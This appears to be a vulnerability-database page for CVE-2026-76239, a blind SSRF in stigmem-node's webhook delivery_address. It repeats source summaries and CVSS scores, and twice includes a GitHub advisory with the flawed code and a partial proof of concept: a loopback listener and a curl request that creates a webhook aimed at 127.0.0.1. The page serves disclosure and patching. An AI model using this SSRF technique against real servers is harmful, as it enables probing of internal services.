Every CVE Search/ Get API key

CVE-2026-76239

Stigmem before 0.9.0a11 SSRF via unvalidated webhook delivery_address

5.3 MediumFix available

Stigmem before 0.9.0a11 fails to validate the delivery_address parameter when creating webhook subscriptions, allowing authenticated users to specify internal loopback and private network destinations. Attackers can trigger matching fact-change events to cause the Stigmem server to issue server-side HTTP POST requests to internal services, enabling blind SSRF attacks against localhost and private network endpoints.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
Low
Integrity
Low
Availability
Low

Exploit likelihood

0.32%Up 0.1 points since Aug 20, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.3

Stigmem before 0.9.0a11 SSRF via unvalidated webhook delivery_address

Stigmem before 0.9.0a11 fails to validate the delivery_address parameter when creating webhook subscriptions, allowing authenticated users to specify internal loopback and private network destinations. Attackers can trigger matching fact-change events to cause the Stigmem server to issue server-side HTTP POST requests to internal services, enabling blind SSRF attacks against localhost and private network endpoints.

Record
CVE-2026-76239
CVSS 4.0
5.3 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
CVSS 3.1
6.3 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Weakness
CWE-918
Updated
2026-11-02
EUVDEUVD-2026-62403 5.3

Stigmem before 0.9.0a11 fails to validate the delivery_address parameter when creating webhook subscriptions, allowing authenticated users to specify internal loopback and private network destinations. Attackers can trigger matching fact-change events to cause the Stigmem server to issue server-side HTTP POST requests to internal services, enabling blind SSRF attacks against localhost and private network endpoints.

Record
EUVD-2026-62403
CVSS 4.0
5.3 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-5p3m-vhh6-9236 6.3

stigmem-node has blind SSRF via unvalidated webhook subscription delivery_address

Summary

Stigmem allows an authenticated user to create a webhook subscription with a user-controlled delivery_address. That value is stored and later used directly by the subscription delivery worker as the destination of a server-side HTTP POST request.

The codebase already contains an outbound SSRF guard, assert_safe_url(), which blocks loopback, private, link-local, and metadata-style destinations. However, the subscription webhook delivery path does not appear to apply this guard either when the subscription is created or immediately before delivery.

As a result, an authenticated user can configure a webhook destination such as http://127.0.0.1:9999/ssrf, trigger a matching fact-change event, and cause the Stigmem server to issue a server-side HTTP request to an internal loopback address.

Details

Relevant files:

node/src/stigmem_node/routes/subscriptions.py
node/src/stigmem_node/subscription_delivery.py
node/src/stigmem_node/models/subscriptions.py
node/src/stigmem_node/utility/net_util.py

SubscriptionCreateRequest accepts delivery_address as a plain string and validates only that it has a minimum length:

class SubscriptionCreateRequest(BaseModel):
    target: str = Field(..., min_length=1)
    on_change: str = Field(...)
    delivery_address: str = Field(..., min_length=1)

The create route persists this value directly:

conn.execute(
    """INSERT INTO subscriptions
       (id, subscriber_identity, target, target_kind, on_change,
        delivery_address, idempotency_key, created_at, tenant_id)
       VALUES (?,?,?,?,?,?,?,?,?)""",
    (
        sub_id,
        identity.entity_uri,
        req.target,
        target_kind,
        req.on_change,
        req.delivery_address,
        req.idempotency_key,
        now,
        identity.tenant_id,
    ),
)

The delivery worker later sends a server-side request to the stored value:

with httpx.Client(timeout=10.0) as client:
    resp = client.post(
        event["delivery_address"],
        json=body,
        headers={
            "Content-Type": "application/json",
            "X-Stigmem-Event-Id": event["id"],
        },
    )

The codebase already has an SSRF guard in node/src/stigmem_node/utility/net_util.py:

def assert_safe_url(
    url: str,
    *,
    allow_schemes: frozenset[str] = frozenset({"https"}),
) -> None:

This guard blocks private, loopback, link-local, and metadata-style ranges, including 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, and 169.254.0.0/16.

However, I did not observe assert_safe_url() being called for subscription delivery_address during subscription creation or before webhook delivery.

PoC

Tested against stigmem-node 0.9.0a10.

Start an internal listener on the same host:
const http = require("http");

http.createServer((req, res) => {
  console.log("HIT:", req.method, req.url);
  console.log("HEADERS:", req.headers);

  let body = "";
  req.on("data", chunk => body += chunk);
  req.on("end", () => {
    console.log("BODY:", body);
    res.writeHead(200, { "Content-Type": "application/json" });
    res.end(JSON.stringify({ ok: true, internal: true }));
  });
}).listen(9999, "127.0.0.1", () => {
  console.log("Listening on http://127.0.0.1:9999");
});
Start Stigmem locally:
cd node
pip install -e .
export STIGMEM_DB_PATH="$(pwd)/ssrf-test.db"
export STIGMEM_AUTH_REQUIRED=true
export STIGMEM_HOST=127.0.0.1
export STIGMEM_PORT=8765
export STIGMEM_SUBSCRIPTION_DELIVERY_SWEEP_S=1
export KEY=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
stigmem auth bootstrap-key --key "$KEY"
stigmem-node
Confirm the service is running:
curl -i http://127.0.0.1:8765/healthz

Response:

HTTP/1.1 200 OK
{"status":"ok"}
Create a webhook subscription whose delivery_address points to loopback:
curl -i -X POST "http://127.0.0.1:8765/v1/subscriptions" \
  -H "Authorization: Bearer $KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "target": "local",
    "on_change": "webhook",
    "delivery_address": "http://127.0.0.1:9999/ssrf",
   …
Record
GHSA-5p3m-vhh6-9236
CVSS 3.1
6.3 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Weakness
CWE-20, CWE-918
Updated
2026-11-02
GitHub AdvisoriesGHSA-xq22-gq5h-mvx5 5.3

Stigmem before 0.9.0a11 fails to validate the delivery_address parameter when creating webhook...

Stigmem before 0.9.0a11 fails to validate the delivery_address parameter when creating webhook subscriptions, allowing authenticated users to specify internal loopback and private network destinations. Attackers can trigger matching fact-change events to cause the Stigmem server to issue server-side HTTP POST requests to internal services, enabling blind SSRF attacks against localhost and private network endpoints.

Record
GHSA-xq22-gq5h-mvx5
CVSS 4.0
5.3 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
6.3 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Weakness
CWE-918
Updated
2026-11-02
NVD 5.3

Stigmem before 0.9.0a11 fails to validate the delivery_address parameter when creating webhook subscriptions, allowing authenticated users to specify internal loopback and private network destinations. Attackers can trigger matching fact-change events to cause the Stigmem server to issue server-side HTTP POST requests to internal services, enabling blind SSRF attacks against localhost and private network endpoints.

Record
CVE-2026-76239
CVSS 4.0
5.3 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
6.3 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Weakness
CWE-918
Updated
2026-11-02
OSV 5.3

Stigmem before 0.9.0a11 SSRF via unvalidated webhook delivery_address

Stigmem before 0.9.0a11 fails to validate the delivery_address parameter when creating webhook subscriptions, allowing authenticated users to specify internal loopback and private network destinations. Attackers can trigger matching fact-change events to cause the Stigmem server to issue server-side HTTP POST requests to internal services, enabling blind SSRF attacks against localhost and private network endpoints.

Record
CVE-2026-76239
CVSS 4.0
5.3 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
Weakness
CWE-918
Updated
2026-11-02
OSVGHSA-5p3m-vhh6-9236 6.3

stigmem-node has blind SSRF via unvalidated webhook subscription delivery_address

Summary

Stigmem allows an authenticated user to create a webhook subscription with a user-controlled delivery_address. That value is stored and later used directly by the subscription delivery worker as the destination of a server-side HTTP POST request.

The codebase already contains an outbound SSRF guard, assert_safe_url(), which blocks loopback, private, link-local, and metadata-style destinations. However, the subscription webhook delivery path does not appear to apply this guard either when the subscription is created or immediately before delivery.

As a result, an authenticated user can configure a webhook destination such as http://127.0.0.1:9999/ssrf, trigger a matching fact-change event, and cause the Stigmem server to issue a server-side HTTP request to an internal loopback address.

Details

Relevant files:

node/src/stigmem_node/routes/subscriptions.py
node/src/stigmem_node/subscription_delivery.py
node/src/stigmem_node/models/subscriptions.py
node/src/stigmem_node/utility/net_util.py

SubscriptionCreateRequest accepts delivery_address as a plain string and validates only that it has a minimum length:

class SubscriptionCreateRequest(BaseModel):
    target: str = Field(..., min_length=1)
    on_change: str = Field(...)
    delivery_address: str = Field(..., min_length=1)

The create route persists this value directly:

conn.execute(
    """INSERT INTO subscriptions
       (id, subscriber_identity, target, target_kind, on_change,
        delivery_address, idempotency_key, created_at, tenant_id)
       VALUES (?,?,?,?,?,?,?,?,?)""",
    (
        sub_id,
        identity.entity_uri,
        req.target,
        target_kind,
        req.on_change,
        req.delivery_address,
        req.idempotency_key,
        now,
        identity.tenant_id,
    ),
)

The delivery worker later sends a server-side request to the stored value:

with httpx.Client(timeout=10.0) as client:
    resp = client.post(
        event["delivery_address"],
        json=body,
        headers={
            "Content-Type": "application/json",
            "X-Stigmem-Event-Id": event["id"],
        },
    )

The codebase already has an SSRF guard in node/src/stigmem_node/utility/net_util.py:

def assert_safe_url(
    url: str,
    *,
    allow_schemes: frozenset[str] = frozenset({"https"}),
) -> None:

This guard blocks private, loopback, link-local, and metadata-style ranges, including 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, and 169.254.0.0/16.

However, I did not observe assert_safe_url() being called for subscription delivery_address during subscription creation or before webhook delivery.

PoC

Tested against stigmem-node 0.9.0a10.

Start an internal listener on the same host:
const http = require("http");

http.createServer((req, res) => {
  console.log("HIT:", req.method, req.url);
  console.log("HEADERS:", req.headers);

  let body = "";
  req.on("data", chunk => body += chunk);
  req.on("end", () => {
    console.log("BODY:", body);
    res.writeHead(200, { "Content-Type": "application/json" });
    res.end(JSON.stringify({ ok: true, internal: true }));
  });
}).listen(9999, "127.0.0.1", () => {
  console.log("Listening on http://127.0.0.1:9999");
});
Start Stigmem locally:
cd node
pip install -e .
export STIGMEM_DB_PATH="$(pwd)/ssrf-test.db"
export STIGMEM_AUTH_REQUIRED=true
export STIGMEM_HOST=127.0.0.1
export STIGMEM_PORT=8765
export STIGMEM_SUBSCRIPTION_DELIVERY_SWEEP_S=1
export KEY=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
stigmem auth bootstrap-key --key "$KEY"
stigmem-node
Confirm the service is running:
curl -i http://127.0.0.1:8765/healthz

Response:

HTTP/1.1 200 OK
{"status":"ok"}
Create a webhook subscription whose delivery_address points to loopback:
curl -i -X POST "http://127.0.0.1:8765/v1/subscriptions" \
  -H "Authorization: Bearer $KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "target": "local",
    "on_change": "webhook",
    "delivery_address": "http://127.0.0.1:9999/ssrf",
   …
Record
GHSA-5p3m-vhh6-9236
CVSS 3.1
6.3 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Weakness
CWE-20, CWE-918
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
stigmem-node
PyPI
before 0.9.0a11
0.9.0a11
stigmem-node
PyPI
before 0.9.0a11, plus listed versions
0.9.0a10.9.0a100.9.0a20.9.0a30.9.0a4
Show 5 moreShow less
0.9.0a50.9.0a60.9.0a70.9.0a80.9.0a9
0.9.0a11

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-76239 is a medium vulnerability (CVSS 5.3) in Eidetic-labs Stigmem-node, published August 19, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.32%, the 25th percentile. Fixed in stigmem-node 0.9.0a11.

References

Show 5 moreShow less
This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open